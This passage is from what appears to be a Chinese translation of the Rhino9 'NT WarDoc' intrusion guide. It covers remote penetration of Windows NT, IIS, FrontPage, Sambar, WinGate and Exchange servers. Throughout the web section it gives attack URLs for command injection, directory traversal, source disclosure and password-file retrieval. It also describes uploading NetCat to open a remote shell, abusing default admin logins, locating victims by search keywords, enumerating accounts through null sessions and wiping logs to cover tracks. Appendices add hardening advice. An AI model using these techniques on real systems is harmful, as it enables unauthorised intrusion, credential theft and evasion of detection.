--- Attempting to exercise .. bug on: \\*SMBSERVER\NETLOGON
--- Attempting to access share: \\*SMBSERVER\print$
--- WARNING: Able to access share: \\*SMBSERVER\print$
--- Checking write access in: \\*SMBSERVER\print$
--- WARNING: Directory is writeable: \\*SMBSERVER\print$
--- Attempting to exercise .. bug on: \\*SMBSERVER\print$
--- Attempting to access share: \\*SMBSERVER\ROOT
--- Unable to access
--- Attempting to access share: \\*SMBSERVER\WINNT$
--- Unable to access
如果您仔细地查看这些结果,就能找到向攻击者通知该工具已经发现有效用户名/口
令的CONNECTED消息。这时,入侵者只需通过新发现的用户名/口令重新连接到那台机器,
继而进行攻击。
对通过NetBIOS进行远程渗透的探讨到此为止。请记住,上面所讨论的各种方法既不
是静态的,也不是独立的。那些花费大量时间对如何渗透基于NT的网络进行研究的入侵者
很富有创造力,他们不仅利用上述各种方法,而且在使用过程中把这些方法个性化。
通过Web服务器进行的信息收集与渗透
==============================================================================
目前,通过Web服务器进行的信息收集与远程渗透因internet上的人口爆炸以及因此
而导致的信息分布已经是众所周知。在讨论NT Web服务器上的远程渗透和信息收集时,我
们将把重点放在与NT 4.0捆绑在一起的Web服务器——Internet信息服务器上。
尽管有一些要探讨的问题确实过时了,但我们在这里之所以涉及到这些内容,是因为
Rhino9小组在专业检查中发现有些公司在他们的生产环境中仍然运行比较旧的软件版本。
我们从信息收集方法开始谈起。我们将讨论在攻击过程中收集信息的各种方法以及通
过Web服务器获得能在其它类型的攻击中利用的信息。
首先,我们将探讨如何检索目标机上的Web服务器软件包和版本。一些对安全性知识
一无所知的人可能会感到惊讶,为什么会有人想了解目标机的Web服务器版本?软件的不
同版本都具有不同的脆弱性。因此,入侵者希望了解这些Web服务器软件和版本。
用来获取Web服务器软件和版本的最老练的方法是telnet到HTTP端口上的目标主机。
一旦建立了telnet连接,只需发出一个简单的GET命令就能查看到HTTP标题信息,这些信
息包括正被使用的Web服务器软件和版本。
不喜欢使用远程登录或不希望通过标题信息解析的人会尝试着使用好几种方法。第一
个也可能是非成功入侵者中最常用的工具是Netcraft。入侵者可以访问 [url]www.netcraft.com[/url]
并通过他们的查询引擎从远程目标检索Web服务器信息。Netcraft还可以用来检索所有已
知的Web服务器主机名。例如,如果我们想找到属于someserver.com域的所有Web服务器,
就可以用Netcraft的引擎来查询*.someserver.com,接着它会返回一个该域中所有Web服
务器主机的列表。其它能用来检索Web服务器版本的工具包括1nf0ze(Suld)和Grinder
(Rhino9的horizon)(所有这些工具的URLs见本文结尾处)。
一旦入侵者确定他所接近的是什么样的Web服务器包,即可拟订攻击计划。
注:这一节仅仅对一些较常见的攻击进行介绍。
要涉及到的第一个攻击是.bat/.cmd缺陷。由于这个缺陷已被公开证实,因此我们引
用如下(作者未知。如果其作者有机会阅读本文,请马上通知我们,以便于及时向作者支
付稿酬)。
.bat和.cmd BUG是Netscape服务器中一个众所周知的bug,其描述见WWW安全性常见问
题解答第59个问题。我们对如何在Internet信息服务器中实现这个bug已经介绍过多次。
现在我们来看一看IIS Web服务器的初次安装,其中所有的设定都是默认的:
1) CGI目录是/scripts
2) 在/scripts目录下没有abracadabra.bat或abracadabra.cmd文件。
3) IIS Web服务器把.bat和.cmd扩展名映射到cmd.exe。
因此,注册表关键字
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\W3SVC
\Parameters\ScriptMap有以下字符串:
a) /scripts/abracadabra.bat?&dir+c:\+?&time
b) /scripts/abracadabra.cmd?&dir+c:\+?&time
同时会发生下列情况:
1) 浏览器询问您想怎样保存一个文档。Notepad.exe或其它阅读器适用于这一“类
型”的应用。
2) 浏览器开始下载对话。屏幕上出现下载窗口。
3) 黑客点击下载窗口上的“取消”按钮,因为服务器上的"time"命令永远不会终
止。
4) IIS Web服务器不会在服务器端记录任何信息,因为执行进程没有成功地终止!
!!(幸亏采用了"time"命令。)想了解究竟发生了什么事情的唯一方法是检查所有的NT
安全记录。但是,这些记录不包含象REMOTE_IP这样的信息。因此,黑客的机器是完全匿
名的。
我们再重新开始:
1) IIS Web服务器允许黑客通过输入
/scripts/abracadabra.bat?&COMMAND1+?&COMMAND2+?&...+?&COMMANDN来执行他的
“批处理文件”。在Netscape服务器中,只能执行单一命令。
2) 在/scripts目录下没有abracadabra.bat文件,但.bat扩展名被映射到
C:\WINNT35\System32\cmd.exe。在Netscape服务器中,实际的.bat文件必须存在。
3) 在黑客输入象"time"或"date"这样的命令作为COMMAND[N]时,IIS Web服务器不
会记录任何信息。在Netscape服务器上,错误记录会有一个关于远程IP和您试着执行的命
令的记录。
如果您不能正确地掌握这种情况下所发生的一切,入侵者就会采用以上攻击顺序在服
务器端生成文件并予以执行。根据攻击者的技术水平和意图,其行为会产生不同的效果。
幸运的是,大多数工作环境已经不再运行旧得足以受这些缺陷影响的Internet信息服务器
版本。
在对bat/cmd缺陷进行彻底调查和证明之后不久,另一个bug又震惊了业界。同样幸运
的是,这个缺陷也仅仅对旧版本的IIS造成影响。这个被称为”double dot bug”的缺陷
使Web站点的访问者能够从允许访问的web根目录下逃脱并浏览或下载文件。很显然,最终
服务器会包含不在指定Web根目录下的敏感信息,而这个简单的缺陷会为外来者访问这些
敏感信息提供机会。这个命令是作为URL执行的,其结构如下:
[url]http://www.someserver.com/..[/url]\..
当double dot bug不够用时,不久之后就出现了这个缺陷的另一个变体。这个新发现
的缺陷使入侵者能够执行目标机上的脚本文件。由于这个新缺陷是double dot bug的一个
变体,因此,这些脚本文件都不在web根目录下。这种攻击也是作为URL执行的,其结构如
下:
[url]http://www.someserver.com/scripts..[/url]\..\scriptname
Internet信息服务器的WindowsNT安装需要一些用于公共访问身份认证的帐户。如果
这些帐户没有以任何方式出现,那么,每一个访问站点的访问者都要提供身份信息。这并
不是一个提供公用Web站点的非常有效的方法。在Internet信息服务器上,要使用的帐户
是IUSR_account。这个帐户及其口令都是在安装过程中生成的。根据默认值,该帐户是
Everyone群组的一个成员,而且,Everyone群组对NT驱动器上的所有信息具有只读访问权
限。这些方法与上述的缺陷相结合就会造成巨大的安全性破坏。
有段时间以来, URL相关的新攻击类型每周都会出现。在上述脚本缺陷之后出现的是
另一个脚本相关的bug,它使入侵者能够在目标机上生成一个文件,随后再执行该文件。
其URL结构是:
[url]http://www.someserver.com/scripts/script_name%0A%0D>PATH[/url]\target.bat
当这个缺陷首次出现时,业界有很多人都不大重视这个问题。接着,就有消息发布,
证明了入侵者为获得修复SAM拷贝会采取的具体步骤。其中就包括了上面的URL缺陷,它是
整个攻击的组成部分。
当Microsoft发布Internet信息服务器3.0时,活动的服务器页面(active server
page)技术开始走向世界。而同时,这一发布也为影响IIS和NT4的大量新缺陷的出现打开
了大门。
活动的服务器页面为Microsoft界提供了简单的和动态的Web页面。人们可以通过很多
不同的方法来使用,如数据库连接、标引与搜索文档、身份认证以及用于那些讨厌的广告
标题的简单图形旋转等。
活动的服务器页面这一概念实际上是相当有创造力的。HTML代码包括有在服务器端执
行并为最终用户生成动态内容的嵌入式脚本代码。有了这个被广泛使用的新技术,向公众
发布第一个缺陷也就指日可待了。这个被成为"dot flaw"的第一个缺陷使入侵者能够在服
务器不执行脚本的情况下查看到脚本。
其标准的URL结构是:
[url]http://www.genericserverhere.com/default.asp[/url]
其攻击URL结构是:
[url]http://www.genericserverhere.com/default.asp.[/url]
这一攻击会在攻击者的Web浏览器上显示未执行代码。不用说,脚本代码会包含敏感
信息,如远程连接到数据库上的用户名/口令。在所有信息中,这一类信息是用户不希望
入侵者接触到的信息。
当dot flaw的修复方法发布时,也发布了对付修复方法的缺陷的变体。第一个变体是
%2e。%2e是period的十六进制值,因此,这表明所提供的修复方法还不够健壮。这种缺陷
的各种变体有时还在出现。由于所有变体都产生相同的最终结果,所以这里就不一一赘述
了。下面是一些攻击URL结构:
[url]http://www.someserver.com/default%2easp[/url]
[url]http://www.someserver.com/default%2e%41sp[/url]
[url]http://www.someserver.com/default.asp::$DATA[/url]
[url]http://www.someserver.com/shtml.dll?.asp[/url]
安全界的每一个人都有这样的感觉:近期内,这些方法不会是最后的脚本显示方法。
随着这些脚本的应用越来越广泛,它们将包含越来越多的敏感信息。这些简单的方法可导
致入侵者轻而易举地获得敏感信息。
就通过IIS收集信息而言,最常见和容易的攻击之一就是索引服务器(Index Server)
攻击。索引服务器是一个包括在internet信息服务器(IIS)3.0中的小搜索引擎模块。这个
模块使Web管理员能够向访问其站点的访问者提供搜索Web站点内容的可搜索界面。虽然索
引服务器本身并没有什么问题,但如果Web站点管理员缺乏培训就会出现问题。索引服务
器的安装和维护都很简单,不过,它对目录和作用域的使用会导致管理员不能正确地配置
允许权限和可搜索内容。这一配置问题会使入侵者获得在一般情况下他需要花大量的时间
和精力才能得到的对信息的访问权限。
这种攻击的默认URL结构是:
[url]http://www.someserver.com/samples/search/queryhit.htm[/url]
这个路径反应出了进入样本页面的默认路径。如果这个路径不是一个有效路径,入侵
者就会仍然点击具有帮助作用的标题“Search This Site”链接,访问相同的信息。一旦
入侵者成功地访问到该html文档,就会出现一个包含有表格字段的Web页面。在这个表格
字段中,访问者一般都会输入他想搜索的信息。入侵者会采用一个文件名搜索字符串,
如:
#filename=*.txt
这个字符串会指示索引服务器通过索引的数据目录搜索任何以该文件扩展名结尾的文
件。请记住,这个文件扩展名并不局限于索引服务器能理解的扩展名。如果索引服务器遇
到一个它不知道的文件类型,它就会把这个文件类型当作二进制来处理,并对文件名、扩
展名、日期及其它属性编写索引。这表明入侵者可搜索任何信息,包括能搜索到修复sam
的*._。有趣的是,索引服务器与其它internet搜索引擎不同,它不会显示请求者没有访
问权限的文件。也就是说,如果索引服务器返回一个它找到文件的信息,那么该文件就是
可访问的。
入侵者会试着利用的另一个默认功能是Internet信息服务器Web管理界面。在IIS默认
的安装中,Web管理界面内置在Web根目录的”iisadmin”子目录下,这说明它的URL攻击
结构是:
[url]http://www.someserver.com/iisadmin[/url]
如果管理员在这个界面上已经错误地配置了允许权限,那么,入侵者就会通过管理功
能获得对Web服务器的未授权访问。如果访问成功,就会出现一个管理工具的html界面。
根据IIS和NT处理允许权限的方法,入侵者有可能得到访问界面的权限,但没有真正采取
任何行动的允许权限。因此,如果您正在检查您自己的网络,一定要作一些小的更改,以
确定网络是不是有问题。
在97年底和98年初曾经发生过大量的Web服务器攻击。在这些攻击中,大部分攻击都
具有一个共同点:web服务器正在运行Microsoft Frontpage Extensions。Frontpage
Extensions是很小的"web bots",如果您愿意,即可让作者或web站点管理员执行复杂或
相关的任务。
Frontpage Extensions存在的问题是,默认的Frontpage安装不安全,尤其是在UNIX
版本中。大量支持这些扩展名的服务器都没有设口令,或者把管理权限分配给Everyone群
组。这里的Everyone群组还是表示每个人,包括匿名连接。
下面,我们来看一看第一个采用Frontpage客户机软件进行的攻击。
支持Frontpage的服务器会有若干个以字母”_vti”开头的工作目录。在任何常用的
搜索引擎上搜索默认的Frontpage目录会得到大量从引擎上返回的信息。然后,入侵者就
能对这些服务器进行简单而又反复的攻击。这种攻击的执行过程如下:
1- 打开您自己的Frontpage个人拷贝
2- 进入”Open frontpage web”对话框
3- 输入您要攻击的服务器的URL或IP
如果服务器没有设口令,或者,如果允许权限是分配给Everyone群组的,Frontpage
就会为您打开远程站点并允许您能够进行更改。这种攻击实际上是很简单的。如果扩展名
正确,就会出现用户名/口令对话。入侵者可以尝试一些基本的组合如管理员/口令。如果
入侵者有兴趣,他会一直尝试下去。
另外,入侵者还可以用同样的"open frantpage web"方法来得到完整的用户列表。这
种方法可以用在brute force攻击中。鉴于对通过这种方法终止用户名的收集进行解释的
文件资料已经公开发布,您就应该建立一个象FP_ [url]www.yourdomain.com:80[/url]这样的限制群
组。这个新的限制群组确实起作用,除非入侵者采用的是您的服务器的IP地址,而不是域
名。
还有其它一些方法能够与Frontpage一起使用,它们会抓取Frontpage口令文件。
Frontpage一般把口令存储在_vti_pvt目录下,有相同的service.pwd。入侵者会试着执行
下列URL:
[url]http://www.someserver.com/_vti_pvt[/url]
如果允许权限设置不正确并允许目录浏览,入侵者就会得到该目录下的文件,包括
service.pwd。管理员通常会重视安装和站点的安全性并限制对该目录的访问。尽管这个
方法不错,但始终要防止NTFS对网络造成破坏。根据NTFS的配置,用户仍然可以得到口令
文件的访问权限,即使对其父文件夹的访问已经被拒绝。在这种情况下,入侵者只需在
URL中输入访问该文件的完整路径,如:
[url]http://www.someserver.com/_vti_pvt/service.pwd[/url]
尽管Frontpage口令文件是加密文件,但它是用标准DES加密的,因此,任何DES解密
高手都能在正确诊断该文件后获得口令信息。另外,入侵者也会刺探其它_vti目录,因为
这些目录有时也会保存敏感信息。在掌握了用户名并对口令解密后,入侵者就会用他的
Frontpage重新连接并提供身份证明信息;或者,如果相同的用户名/口令在上下文中能起
作用,入侵者即可通过其它方式利用这些身份证明信息,如映射网络驱动器等。
(注:Service.pwd不是唯一已知的口令文件名。已经掌握的口令文件有Authors.pwd
, admin.pwd, users.pwd和administrators.pwd等。)
在Frontpage相关的方法中,二进制FTP方法被看作是技术上最成熟的方法,虽然这种
方法实现起来相当容易。这个二进制攻击会使入侵者通过Frontpage扩展名执行任意二进
制文件。入侵者必须找到既支持Frontpage又支持FTP匿名可写程序的服务器。在通过FTP
连接到服务器之后,入侵者就可以新建一个名为_vti_bin的目录。然后他就可以下载他想
放在新建目录下的任何可执行程序。一旦上载了可执行文件,入侵者就会输入下列URL:
[url]http://www.someserver.com/_vti_bin/uploaded_file[/url]
然后,服务器就会执行这个文件。
在二进制进攻方法被传播开来不久之后就发现了_vti_cnf。这会使入侵者查看到特定
目录下的所有文件。通过用_vti_cnf替换index.html,入侵者就能看到该目录下的所有文
件,并有可能获得访问权限。这种攻击结构如下:
标准结构— [url]http://www.someserver.com/some_directory_structure/index.html[/url]
攻击结构— [url]http://www.someserver.com/some_directory_structure/_vti_cnf[/url]
看起来,能产生类似结果的相同攻击类型数不胜数。遗憾的是,事实确实如此。在这
些缺陷中,有很多已经被研究缺陷变体的人士所发现,但并不是所有影响NT Web服务的缺
陷都来自Internet信息服务器。
另外还有其它一些将在NT上运行的Web服务器软件包,象众所周知的Apache Web服务
器。当然,有了这些第三方Web服务器软件包和在这些第三方软件包上运行的脚本,新的
缺陷注定会暴露出来。
Webcom Datakommunikation曾经发布了一个允许Web站点的访问者在来宾卡上签名的
cgi脚本。Cgi脚本的名字是guest.exe。只要发出正确的命令,这个小小的cgi脚本就会使
攻击者查看到您服务器上的任意文本文件。
访问者要签名的表格页面包含了很多隐藏字段。其中一个隐藏输入字段如下(根据
David Litchfield的报告):
input type="hidden" name="template"
value="http://blog.77169.com/c:\inetpub\wwwroot\gb\template.htm">
or
input type=”hidden” name=”template” value="http://blog.77169.com/”/gb/template.htm”>
" 这里的template.htm是在用户输入信息后通过wguest.exe显示出来的文件。为了利用
这一点,攻击者会查看源代码并把该文档保存在他的桌面上,然后通过改变他想查看的任
意文件的路径对这一行进行编辑,例如:
input type="hidden" name="template"
value="http://blog.77169.com/c:\winnt\system32\$winnt$.inf">
[如果完成了独立安装,即可通过这个文件得到管理口令]
然后,点击”Submit”,wguest.exe就会显示这个文件。这种方法没有用PWL文件测
试过。不过,攻击者必须知道他要查看的文件的正确路径。
另一个“类属的”HTTPD方法涉及到一个在WindowsNT上运行的第三方Web服务器产
品,称为Sambar服务器。下面是直接从招贴中引用的内容:
查看攻击对象的HDD是大有可能的。您可通过使用这些关键字
+sambar +server +v4.1
搜索Internet,找到运行Sambar服务器的计算机。
如果您找到的站点是: [url]http://www.site.net/[/url],就做一次测试,运行一个perl脚本:
[url]http://www.site.net/cgi-bin/dumpenv.pl[/url]
现在您看到的是攻击对象的计算机的完整环境,包括他的路径。您可以试着通过以下
URL以管理员的身份登录:
[url]http://www.site.net/session/adminlogin?Rcpage=/sysadmin/index.html[/url]
默认登录为:admin;默认口令为空白。如果攻击对象还没有更改他的设置,您现在
就能控制他的服务器。另一个特征是查看攻击对象的HDD。如果您能运行perl脚本,也就
应该能(在大多数情况下)通过他的路径查看目录的脚本。大多数人在路径行中都有
C:/program files和C:/windows,因此,您可以利用以下URL:
[url]http://www.site.net/c:/program[/url] files/sambar41
我们在这里简单提一下Netscape Enterprise Server。有些软件版本通过允许用户访
问目录对?PageServices参数作出反应。 [url]http://www.site.net/?PageServices[/url]就是实现方
法。
最后,我们再来看看FTP。FTP是一个比较安全的协议。很多人会认为平台和版本冗余
使它更安全,总的来说,这种看法是正确的。但多数经验丰富的安全专业人士会告诉您,
如果最终管理员没有受过专业培训,版本和平台实在没有多大意义。鉴于Rhino9按照FTP
允许权限已经能够渗透大量的服务器,我们就在这里给一个简单的提示。有些管理员不会
注意或理解他们的Web服务器上的”Anonymous world writable”。但Rhino9通过一个错
误配置的FTP服务器提出了疑问并渗透到整个网络。
通过anon-ftp-writable把NetCat上载到服务器上、通过URL执行这个程序以及把它绑
定到端口上都很容易实现。从那一刻起,您在NT上就有了一个远程“外壳”。通过连接到
该远程NetCat绑定,所有从该外壳发出的命令行功能似乎都是从具有在内部用户上下文中
运行的NetCat绑定的那个外壳发出的。
其它的信息收集与渗透方法
==============================================================================
(如同那些包括很多不同主题的安全相关文档一样,有些主题似乎有点不合时宜。这
一节将探讨一些确实不适合本文的不同方法。如有内容不完整之处,敬请原谅。)
如果说Rhino9小组有一个投入大量时间来研究的产品,那就是WinGate。第一个有关
WinGate的问题是通过具有所有后续连接的WinGate进行“弹跳”的功能。这个小缺陷非常
容易使用。入侵者可以远程登录到WinGate端口并看到这样的提示符:
WinGate>
在该提示符下,您能发出一个独立的远程登录命令,或者利用WinGate的SOCK功能建
立其它连接。当该软件产品的开发商急于发布其修复版本和公告栏时,下一个版本的发布
也出现了问题。
在WinGate的默认安装中,WinGate机器是用记录服务配置的。记录服务监听WinGate
机器的8010端口。通过建立该端口的HTTP连接,入侵者就会得到两个信息:
“Connection Cannot Be Established”
或WinGate机器硬驱的列表。请记住,这是一个默认安装,可以通过更改默认安装配
置来修复。
随着Exchange服务器成为越来越通用的邮件服务器包,其缺陷也开始出现。第一个暴
露出来的缺陷是Exchange结构中的口令高速缓存问题。下面是直接从原版招贴中引用的内
容:
用提供有POP3服务的Exchange 5.0在您的NT域上新建一个用户xyz。把xyz的口令设置
为a1234。到目前为止一切都正常。现在把xyz的口令更改为b5678。您就会发现无论使用
这两个口令中的哪一个,POP3邮件客户机都能登录。现在再把口令改为另一个值,您会发
现POP3客户机(或直接远程登录到110端口)能够用这三个口令中的任何一个登录。结果
是这些口令都起作用。由于Exchange 5.0服务POP3连接符采用非散列机制对口令进行高速
缓存,因此,所有的口令都能起作用。这一特征既不影响用来接收那些采用不同身份认证
的邮件的Web页面新界面,也不影响NT登录。在非POP3登录信息中,口令不是高速缓存的
(除了NNTP和LDAP以外)。如您所看到的,高速缓存问题在特定环境中是一个非常严重的
问题。
入侵者用来收集信息的另一个方法是基于目标邮件服务器的SMTP端口的。为了保证适
应SMTP并能与internet上的其它邮件实体完全交互,基于NT的SMTP邮件服务器要掌握验证
特征。通过建立与邮件服务器SMTP端口的远程登录会话,入侵者能够发出连同用户名一起
的验证命令。如果验证特征被激活,服务器就能告诉入侵者它是否是有效的用户名。攻击
命令是:
vrfy administrator (该命令会验证用户指定的管理员是否存在)
在一些邮件系统上,首先要求入侵者完成HELO排序,不过这一步非常简单。显而易
见,这会导致入侵者收集到有效用户名列表,然后用于其它攻击。
结束语
==============================================================================
本文的作者希望您通过阅读本文能够做到学有所用。另外,我们也想提醒读者的是,
我们希望本文始终能跟上目前业界的发展情况。我们计划在不久的将来发布本文的更新版
本,从而及时提供管理员和安全专业人士都能利用的最新信息。请将您的信息收集与远程
渗透方法寄至 [email]neonsurge@hotmail.com[/email]。一旦发布本文的新版本,我们会在NTBugTraq等列
表上发出通知。本文的主页在Rhino9 Web站点上( [url]http://rhino9.ml.org[/url])。
本文的作者在近期内有另外三个文档准备发布。这三个文档都属于NT WarDoc系列,
分别是即将完成的服务拒绝、本地渗透方法以及一篇论述用来警惕其它论文主题的方法的
论文。我们衷心地希望能及时得到业界的反馈信息。
附录A:NET命令
==============================================================================
下面是所有Net命令及其功能:
Net Accounts:显示口令、登录限制和域信息的当前设置。另外,它还包含有更新用户帐
户数据库和修改口令、登录要求的选项。
Net Computer:通过域数据库增加或删除计算机。
Net Config Server or Net Config Workstation:显示有关服务器服务的配置信息。在
没有指定服务器或工作站的情况下使用时,这个命令显示可配置服务的列表。
Net Continue:恢复被NET PAUSE命令暂停的NT服务。
Net File:列出服务器上公开的文件,并为关闭共享文件和清除文件锁定提供选项。
Net Group:显示有关群组名字的信息,并提供您能用来增加或修改服务器上的全局群组
的选项。
Net Help:这些命令的帮助信息。
Net Helpmsg message#:获得有关特定NET错误或功能消息的帮助信息。
Net Localgroup:列出服务器上的本地群组。您也可以修改这些群组。
Net Name:显示接收消息的计算机和用户的名字。
Net Pause:中断特定的NT服务。
Net Print:显示打印作业和共享队列。
Net Send:把消息发送给网络上的其它用户、计算机或消息处理名字。
Net Session:显示有关当前会话的信息。它还可以切断特定会话。
Net Share:列出计算机上所有正被共享的资源的信息。它还可用来创建网络共享。
Net Statistics Server or Workstation:显示统计记录。
Net Stop:停止NT服务,取消该服务正在使用的任何连接。大家都知道,停止一个服务即
可停止其它服务。
Net Time:用来显示或设置计算机或域的时间。
Net Use:显示已连接计算机的列表,并提供共享资源的连接和切断选项。
Net User:显示计算机的用户帐户列表,并提供创建和修改这些帐户的选项。
Net View:显示计算机上正被共享的资源的列表。包括NetWare服务器。
**有关DOS和旧版本Windows机器的注解:以上列出的命令适用于Windows NT服务器和工作
站。DOS和旧版本的Windows客户机可使用下列NET命令:
Net Config
Net Diag(运行诊断程序)
Net Help
Net Init(加载协议和网络适配器驱动程序)
Net Logoff
Net Logon
Net Password(更改口令)
Net Print
Net Start
Net Stop
Net Time
Net Use
Net Ver(显示网络转向器的类型和版本)
Net View
附录B SID工具的使用实例
==============================================================================
下面是SID工具的使用实例,是直接从有关该工具的公告兰上引用的:
这个缺陷与实用程序User2id和Sid2User一起使用。这些实用程序利用的是
LookupAccountName和LookupAccountSid WIN32功能。这些功能必须由具有Everyone访问
权限的用户来执行,实现起来并不困难。
其实现过程如下:
1) 查找任意域帐户的一个SID,例如域用户
user2sid "domain users"
S-1-5-21-201642981-56263093-24269216-513
现在我们知道了当前域的所有次权限。域帐户仅与SID的最后一个数字不同,被称为
RID。
2) 查找内置管理员名字(RID始终是500)
sid2user 5 21 201642981 56263093 24269216 500
Name is SmallUser
Domain is DomainName
Type of SID is SidTypeUser
现在有可能从第一个域帐户开始查找所有的域帐户(RID = 1000表示第一个帐户,
1001表示第二个,以此类推。RIDs永远不会再用于当前的安装)。
sid2user 5 21 201642981 56263093 24269216 1000
sid2user 5 21 201642981 56263093 24269216 1001
…
请记住:匿名帐户也是Everyone群组的组成部分。有时也会发生这样的情况,即匿名
帐户没有经过注册/注销特征的检查。
下面这个例子是在假设NetBIOS端口开放的情况下进行的(这个列表是虚构的):
nslookup [url]www.xyz.com[/url]
Non-authoritative answer:
Name: [url]www.xyz.com[/url]
Address: 131.107.2.200
net use \\131.107.2.200\ipc$ "" /user:""
The command completed successfully.
user2sid \\131.107.2.200 "domain users"
S-1-5-21-201642981-56263093-24269216-513
Number of subauthorities is 5
Domain is XYZ_domain
Length of SID in memory is 28 bytes
Type of SID is SidTypeGroup
sid2user \\131.107.2.200 5 21 201642981 56263093 24269216 500
Name is XYZAdmin
Domain is XYZ_domain
Type of SID is SidTypeUser
sid2user \\131.107.2.200 5 21 201642981 56263093 24269216 1000
Name is
Domain is XYZ_domain
Type of SID is SidTypeDeletedAccount
sid2user \\131.107.2.200 5 21 201642981 56263093 24269216 1001
Name is Simpson
Domain is XYZ_domain
Type of SID is SidTypeUser
sid2user \\131.107.2.200 5 21 201642981 56263093 24269216 1112
LookupSidName failed - no such account
Default NT Install SID's are:
DOMAINNAME\ADMINISTRATOR
S-1-5-21-917267712-1342860078-1792151419-500 (=0x1F4)
DOMAINNAME\GUEST
S-1-5-21-917267712-1342860078-1792151419-501 (=0x1F5)
Built-In Global Groups
DOMAINNAME\DOMAIN ADMINS
S-1-5-21-917267712-1342860078-1792151419-512 (=0x200)
DOMAINNAME\DOMAIN USERS
S-1-5-21-917267712-1342860078-1792151419-513 (=0x201)
DOMAINNAME\DOMAIN GUESTS
S-1-5-21-917267712-1342860078-1792151419-514 (=0x202)
Built-In Local Group
BUILTIN\ADMINISTRATORS S-1-5-32-544 (=0x220)
BUILTIN\USERS S-1-5-32-545 (=0x221)
BUILTIN\GUESTS S-1-5-32-546 (=0x222)
BUILTIN\ACCOUNT OPERATORS S-1-5-32-548 (=0x224)
BUILTIN\SERVER OPERATORS S-1-5-32-549 (=0x225)
BUILTIN\PRINT OPERATORS S-1-5-32-550 (=0x226)
BUILTIN\BACKUP OPERATORS S-1-5-32-551 (=0x227)
BUILTIN\REPLICATOR S-1-5-32-552 (=0x228)
Specail Groups
\CREATOR OWNER S-1-3-0
\EVERYONE S-1-1-0
NT AUTHORITY\NETWORK S-1-5-2
NT AUTHORITY\INTERACTIVE S-1-5-4
NT AUTHORITY\SYSTEM S-1-5-18
附录C:默认IIS结构的关系位置
==============================================================================
C:\InetPub\wwwroot
C:\InetPub\scripts /Scripts
C:\InetPub\wwwroot\_vti_bin /_vti_bin
C:\InetPub\wwwroot\_vti_bin\_vti_adm /_vti_bin/_vti_adm
C:\InetPub\wwwroot\_vti_bin\_vti_aut /_vti_bin/_vti_aut
C:\InetPub\cgi-bin /cgi-bin
C:\InetPub\wwwroot\srchadm /srchadm
C:\WINNT\System32\inetserv\iisadmin /iisadmin
C:\InetPub\wwwroot\_vti_pvt /_vti_pvt
C:\InetPub\wwwroot\samples\Search\QUERYHIT.HTM Internet Information Index
Server sample
C:\Program Files\Microsoft FrontPage\_vti_bin
C:\Program Files\Microsoft FrontPage\_vti_bin\_vti_aut
C:\Program Files\Microsoft FrontPage\_vti_bin\_vti_adm
C:\WINNT\System32\inetserv\iisadmin\htmldocs\admin.htm /iisadmin/isadmin
Frontpage特有的文件及其功能:
/_vti_inf.html Ensures that frontpage server extensions are installed.
/_vti_pvt/service.pwd Contains the encrypted password files. Not used on IIS
and WebSite servers.
/_vti_pvt/authors.pwd On Netscape servers only. Encrypted. Names and passwords
of authors.
/_vti_pvt/administrators.pwd
/_vti_log/author.log If author.log is there it will need to be cleaned to
cover an intruders tracks.
附录D:服务
==============================================================================
我已经收到过无数有关NT服务的邮件。人们都在问,他们该做些什么,哪些服务应该
去激活,等等。下面是NT服务的列表,包括每个服务的说明和安装建议。——NeonSurge
ALERTER(告警器):依赖于NetBIOS,通过TCP/IP进行网络通信。这个服务使用户能
够接收其它机器发出的消息。这些消息可以是告警信息或预先确定的网络信息。建议去激
活机器上的这个服务,因为它依赖于NetBIOS,而且几乎从来都没用过。
CLIPBOOK SERVER(剪贴本服务器):依赖于NetBIOS,通过TCP/IP进行网络通信。该
服务器服务允许剪贴板上的内容通过网络共享。由于这个服务很少用,而且远程入侵者可
以通过它获得信息,因此应该去激活。
COMPUTER BROWSER(计算机浏览器):该服务使用户通过网络邻居的浏览能查看到可
用的网络资源。当在服务器上激活时,服务器就会通过NetBIOS广播注册它的名字或直接
注册到WINS服务器上。建议去激活这个服务。
DHCP CLIENT(DHCP客户机):如果机器是DHCP客户机,应该把该服务设置为自动激
活;如果不是,去激活。
DIRECTORY REPLICATOR(目录复制器):该服务使NT系统能够输入和输出目录内容。
如果您不需要内容复制,就去激活该服务。
EVENT LOG(事件记录):建议始终利用这个服务,因为它负责记录服务器上的活
动,包括安全活动等。
LICENSE LOGGING SERVICE(LICENSE记录服务):用来跟踪不同应用所使用的
licenses。它不会对网络产生任何严重的影响,应设置为自动激活(这是默认设置)。
MESSENGER SERVICE(MESSENGER服务):依赖于NetBIOS,通过TCP/IP进行网络通
信。它在设计和功能上类似于报警器服务。建议停止该服务,以防止通过NBTSTAT命令使
用用户名枚举。
NET LOGON(NET登录):该服务被服务器和工作站用来提供用户身份认证。该服务随
时都需要,它是作为内置SYSTEM用户运行的。
NETWORK DDE and DDE DSDM(网络DDE与DDE DSDM):这些服务提供动态数据交换。
DDE用于象聊天这样的应用(这很重要)以及可能需要这类功能的其它应用。这些服务因
其TCP连接接受状态而被认为具有一定的风险。
NETWORK MONITOR AGENT(网络监控代理):该服务用来对通过网络适配卡的通信量
进行监控。如果本软件的SMS版本正被使用,管理员就能远程监控另一个网络适配卡上的
通信量。
NT LM SECURITY SUPPORT PROVIDER(NT LM安全支持提供者):该服务为旧版本软件
包提供后向兼容性与身份认证帮助。
PLUG AND PLAY(即插即播):用于配置PnP设备。
REMOTE PROCEDURE CALL LOCATOR AND SERVICES(远程过程调用定位符与服务):
RPC是一个用来封装通过网络进行的功能调用的协议。它的默认配置是自动的和标准的。
该服务会造成很大的安全风险,但由于对该服务的依赖性很大,以至于不能去激活。
ROUTING AND REMOTE ACCESS SERVICE(路由与远程访问服务):这是一个增强
Windows NT功能的后加服务。如果您正在用调制解调器从您的NT系统拨出,该服务应设置
为自动激活。如果您正在使用它的选路特征,也应该将它设置为自动激活。
SCHEDULE(调度):该服务使一个应用程序能够在预先指定的时间被执行。这样会造
成严重的安全威胁,因为该服务可被用来启动SYSTEM上下文中的应用。
SERVER(服务器):是所有服务器端NetBIOS应用的关键所在。没有这个服务,一些
管理工具如服务器管理器就不能用。如果不需要对机器的远程管理或访问,建议去激活该
服务。但是在Web服务器上不需要这个服务。
SPOOLER(假脱机程序):该服务用来接受从客户机发出的打印作业请求,并使本地
系统能够把作业假脱机到网络打印机。该服务应设置为自动激活。
TCP/IP NETBIOS HELPER(TCP/IP NETBIOS帮助):该服务有助于增强NBT和Net登录
